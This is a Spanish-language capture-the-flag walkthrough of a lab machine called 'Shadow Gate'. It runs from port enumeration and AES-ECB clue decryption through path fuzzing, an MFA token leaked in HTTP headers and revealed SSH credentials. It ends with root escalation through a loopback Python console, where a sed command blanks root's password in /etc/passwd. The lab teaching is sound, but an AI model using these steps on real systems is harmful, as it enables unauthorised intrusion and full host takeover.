# Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root
Table of Contents
Shadow Gate: señales ocultas, activación remota y una consola local ejecutándose como root
Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: avanzado | SO: Linux
Sobre este CTF
Shadow Gate es una máquina que diseñé para construir una cadena de compromiso menos evidente que en otros laboratorios, pero basada igualmente en errores reales: servicios opacos expuestos, pistas distribuidas entre protocolos distintos, lógica de validación mal conectada y una superficie local privilegiada que nunca debió existir.
No es una máquina de fuerza bruta directa ni de vulnerabilidad única. Aquí la clave está en correlacionar señales: un servicio que responde con ruido cifrado, un login web con cabeceras útiles, una verificación secundaria escondida y, finalmente, un servicio interno ejecutando código Python como root.
En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de root, explicando qué representa cada fase y por qué esta clase de errores encadenados sí tiene sentido fuera del laboratorio.
Información técnica
| Campo | Valor |
|---|---|
| Nombre | Shadow Gate |
| IP objetivo | 192.168.56.20 |
| Servicios | SSH (22), HTTP (8080), servicio custom (56789) |
| Vectores principales | servicio custom con pistas cifradas → usuario oculto → token MFA expuesto en cabeceras → endpoint oculto de verificación → credenciales SSH → servicio local Python como root |
| Dificultad | avanzado |
Reconocimiento
Escaneo inicial de puertos
Comenzamos con un escaneo completo para identificar la superficie expuesta de la máquina:
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 192.168.56.20 -oG allPortsEste escaneo nos deja tres puertos abiertos:
- 22/tcp
- 8080/tcp
- 56789/tcp
Para trabajar más cómodo con esos puertos, utilizamos extractPorts y lanzamos un segundo escaneo más detallado:
extractPorts allPortsnmap -p22,8080,56789 -sCV 192.168.56.20 -oN targetedResultado:
# Nmap 7.95 scan initiated Sun May 4 18:41:52 2025 as: nmap -p22,8080,56789 -sVC -oN targeted 192.168.56.20Nmap scan report for 192.168.56.20Host is up (0.00056s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 84:05:fe:ed:47:16:ab:28:70:0f:44:6e:f6:8d:0c:6f (ECDSA)|_ 256 99:a9:88:76:ee:c8:ed:ce:73:57:2a:22:da:9f:7b:7e (ED25519)8080/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.3)|_http-title: 403 Forbidden|_http-server-header: Werkzeug/3.1.3 Python/3.12.356789/tcp open tcpwrappedService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelAnálisis inicial
La enumeración ya deja una topología interesante:
- SSH como posible vía de acceso final
- HTTP en 8080 servido por Werkzeug, lo que apunta a una aplicación Python
- un servicio custom en 56789 que no se deja identificar por Nmap
El servicio más llamativo no es el HTTP, sino el puerto 56789. Cuando aparece algo no estándar junto a una app Python y un SSH abierto, suele haber una lógica de aplicación que conviene entender antes de tocar autenticación.
Puerto 56789 — análisis del servicio custom
Al conectarnos con nc al puerto 56789, vemos este comportamiento:
nc 192.168.56.20 56789Respuesta:
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.testAccess denied. The gate remains closed.El propio banner da una pista clara: n0cturne.
Al enviar esa cadena, la respuesta cambia:
nc 192.168.56.20 56789Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.n0cturneShadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.YzRmN2QzNQ==uxomFV7/fmbRfAoERH2aZw==DcCeEH1OYei2Z71qrlUjcQ==I7PX9ss8Uv/DM65hrTSeag==eJIKMZKxGdG5CcxaldniOQ==2+YfOPg2aynwZ35B4Tchsg==ekD25jhdn3vEk4XFYd4Dow==huSBj8DuKJ7qWxnXEreydg==EiGroMLlb+DQKjSHJF9ZkA==Connection closing...Descifrado de las cadenas
Al decodificar la primera cadena en Base64 obtenemos:
echo 'YzRmN2QzNQ==' | base64 -d; echoResultado:
c4f7d35Ese valor permanece constante entre conexiones, mientras que el resto de bloques cambia cada vez. A partir de ahí, la hipótesis razonable es esta:
- la primera cadena actúa como clave base
- el resto son bloques cifrados
- no se proporciona IV, por lo que el modo más probable es ECB
Con esa idea se construyó un pequeño script en Python para descifrar los bloques y extraer la primera letra de cada resultado, ya que esa era la única posición que permanecía estable entre distintas ejecuciones.
from Crypto.Cipher import AESfrom hashlib import sha256import base64
clave = 'c4f7d35'textos = [ 'gyIc8gd8jUQ7C/7iFk6ycQ==', 'ZkaZD0jZIiDoS1qB44JCDA==', 'Fd3JYtkRfUxTvqncZCK1sA==', 'YXxxMKrF//kaZv92uG7zSQ==', 'jboxYrPZFgkz3kQ7P4buyA==', 'dhCRqabHpQ/WliKGAOsMDA==', 'TcGPQlI38MakzfGihxFmBA==', 'P7O2L3uFjeJiLdMJA9/QYg==']
def decrypt_text(text): clave_sha = sha256(clave.encode()).digest() c = AES.new(clave_sha, AES.MODE_ECB) b = base64.b64decode(text.encode()) f = c.decrypt(b) f = f.decode() for l in f: print(l, end="") break
for text in textos: decrypt_text(text)
print("\n", end="")Salida:
v4u1tgx9Ese valor parece un usuario, pero todavía no sirve directamente al enviarlo al mismo puerto 56789. Eso indica que la secuencia del reto no termina ahí y que la siguiente pieza probablemente esté en el servicio web.
Comentario
Este primer tramo de la máquina enseña algo importante: no toda pista útil sirve en el mismo sitio donde se obtiene. A veces un servicio no entrega la solución, sino una credencial parcial o un identificador que cobra sentido en otra capa del sistema.
Aquí el error no es solo criptográfico. Es también de diseño: se distribuyen secretos operativos entre servicios que deberían estar aislados entre sí.
Puerto 8080 — exploración web
El servicio HTTP en 8080 devuelve 403 sobre la raíz, así que pasamos directamente a fuzzing de rutas:
feroxbuster -u "http://192.168.56.20:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -n --no-stateResultado relevante:
404 GET 5l 31w 207c http://192.168.56.20:8080/200 GET 1l 7w 39c http://192.168.56.20:8080/loginLocalizamos una ruta clara:
/login
Con el valor obtenido del puerto 56789, probamos autenticación:
curl -s -X POST 'http://192.168.56.20:8080/login' -d "username=v4u1tgx9" -d "password="Respuesta:
Token dispatched. You just have to look... sideways.Revisión de cabeceras
Ese mensaje ya sugiere que la información útil no está en el cuerpo, sino “de lado”, es decir, en las cabeceras HTTP.
Respuesta sin login válido
HTTP/1.0 200 OKServer: Werkzeug/3.1.3 Python/3.12.3Date: Sun, 04 May 2025 22:40:58 GMTContent-Type: text/html; charset=utf-8Content-Length: 33X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==Connection: close
Username rejected. Access denied.Respuesta con login aceptado
HTTP/1.0 200 OKServer: Werkzeug/3.1.3 Python/3.12.3Date: Sun, 04 May 2025 22:41:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 52X-Shadow-Clue: wrHCp8O4wrXCtsOlw5/Dvg==X-Shadow-MFA: 382592Connection: close
Token dispatched. You just have to look... sideways.Análisis
Aquí la aplicación hace dos cosas mal:
- revela un flujo de MFA por cabecera en lugar de tratarlo de forma segura
- deja claro cuándo un usuario es válido y cuándo no
Eso ya nos da dos piezas críticas:
- el usuario
v4u1tgx9 - un token MFA devuelto directamente en una cabecera HTTP
La cuestión es encontrar dónde usar ese token.
Búsqueda del endpoint de validación
Como casi todas las rutas respondían con 403, el fuzzing clásico no resultaba cómodo. Para resolverlo se creó un script que:
- obtiene automáticamente el token desde
/login - recorre un diccionario de rutas
- envía
usernameytokenpor POST - detecta qué ruta deja de responder con
403
import requestsimport sys
username = 'v4u1tgx9'
def main(token): try: with open(sys.argv[1], "r") as w: for path in w: if 'login' in path: path += 'aaaaa' path = path.strip() main_url = f"http://192.168.56.20:8080/{path}" data = { "username": f"{username}", "token": f"{token}" } r = requests.post(main_url, data=data) if r.status_code != 403: print(f"Path encontrado: {path}\n\nResponse:") print(r.text) except KeyboardInterrupt: print("\n\n[!] Saliendo...") sys.exit(1)
def token(): main_url = 'http://192.168.56.20:8080/login' data = { "username": "v4u1tgx9", "password": "" } r = requests.post(main_url, data=data) token = r.headers['X-Shadow-MFA'] return token
if __name__ == '__main__': token = token() main(token)Ejecución:
python3 fuzz.py /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtResultado:
Path encontrado: verify
Response:Acceso concedido. Servicio activo.Comentario
El detalle importante no es solo encontrar /verify, sino entender lo que hace: activa algo.
La aplicación no estaba validando MFA como un simple paso de acceso. Estaba habilitando un servicio adicional del sistema. Eso es bastante más grave y bastante más interesante desde el punto de vista del diseño inseguro.
Activación del servicio y acceso inicial
Una vez ejecutado el flujo correcto, volvemos al puerto 56789 y la respuesta ya no es la misma:
nc 192.168.56.20 56789Salida:
Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.Shadow Gate v1.0 :: Not all doors are locked. Some wait for n0cturne. Listen closely—patterns hide in the noise. Sequence always matters.SSH login for user marsmars:sshpassword123Connection closing...Con esas credenciales ya podemos acceder por SSH:
ssh mars@192.168.56.20Una vez dentro, confirmamos acceso y leemos la flag de usuario:
cat user.txtAnálisis
La cadena completa hasta aquí es muy buena desde el punto de vista defensivo:
- un servicio custom filtra un usuario
- la web devuelve un token MFA por cabecera
- el endpoint de verificación activa un backend adicional
- el backend adicional termina revelando credenciales SSH en claro
Es justo el tipo de integración rota que no parece crítica hasta que alguien entiende la relación entre piezas.
Escalada de privilegios
Detección del servicio interno
Desde la sesión SSH como mars, revisamos puertos escuchando localmente:
ss -tulunResultado relevante:
tcp LISTEN 0 5 127.0.0.1:4444 0.0.0.0:*Eso sugiere un servicio accesible solo en loopback. Al conectarnos con nc vemos esto:
nc 127.0.0.1 4444Respuesta:
Welcome to Shadow Client HelperThis is an unrestricted environment. Good luck, hacker.>>>Ese prompt recuerda claramente al intérprete de Python. Para compararlo, abrimos una consola Python local:
python3La apariencia es prácticamente idéntica.
Confirmación de ejecución como root
Probamos a ejecutar código Python simple a través del servicio local:
import osos.system("id > /tmp/id")Y después comprobamos el resultado:
cat /tmp/idSalida:
uid=0(root) gid=0(root) groups=0(root)Eso confirma el fallo crítico: el servicio local en 127.0.0.1:4444 está ejecutando código arbitrario como root.
Obtención de root
Con esa capacidad ya no hace falta nada sofisticado. Basta con modificar /etc/passwd para dejar la cuenta root sin contraseña:
import osos.system("sed 's/root:x:/root::/g' -i /etc/passwd")Después, cambiamos de usuario:
suResultado:
root@TheHackersLabs-Shadowgate:/home/mars#Y ya como root, leemos la flag final:
cat root.txtComentario
El fallo final es gravísimo y muy claro: una consola accesible por loopback, sin restricciones reales y ejecutando como root.
No importa que el servicio no estuviera expuesto externamente. En cuanto un atacante consigue acceso al sistema como usuario normal, ese helper local se convierte en un camino directo a privilegios completos.
Este es exactamente el tipo de error que muchas veces se minusvalora porque “solo escucha en localhost”. Y precisamente por eso resulta tan útil enseñarlo.
Notas del autor
Shadow Gate está diseñada para enseñar una cadena donde el problema no es una única vulnerabilidad, sino la relación entre varios fallos de diseño:
| Vector | Lo que enseña | Error real representado |
|---|---|---|
| puerto custom con pistas cifradas | exposición de lógica sensible | servicios internos convertidos en acertijos inseguros |
valor v4u1tgx9 reutilizado en web | correlación entre capas | secretos operativos compartidos entre servicios |
| token MFA en cabecera | filtrado de autenticación | implementación insegura de pasos de validación |
endpoint /verify | activación de backend por flujo web | lógica de negocio mal conectada con servicios internos |
| credenciales SSH reveladas tras la activación | exposición de secretos en claro | backends auxiliares que entregan información crítica |
helper local en 127.0.0.1:4444 | confianza excesiva en localhost | servicios privilegiados sin aislamiento real |
ejecución de Python como root | compromiso total del host | herramientas internas capaces de ejecutar código arbitrario |
Lo importante de esta máquina no es solo llegar a root. Lo importante es entender cómo una serie de decisiones aparentemente inconexas termina abriendo una cadena completa de acceso, activación y escalada.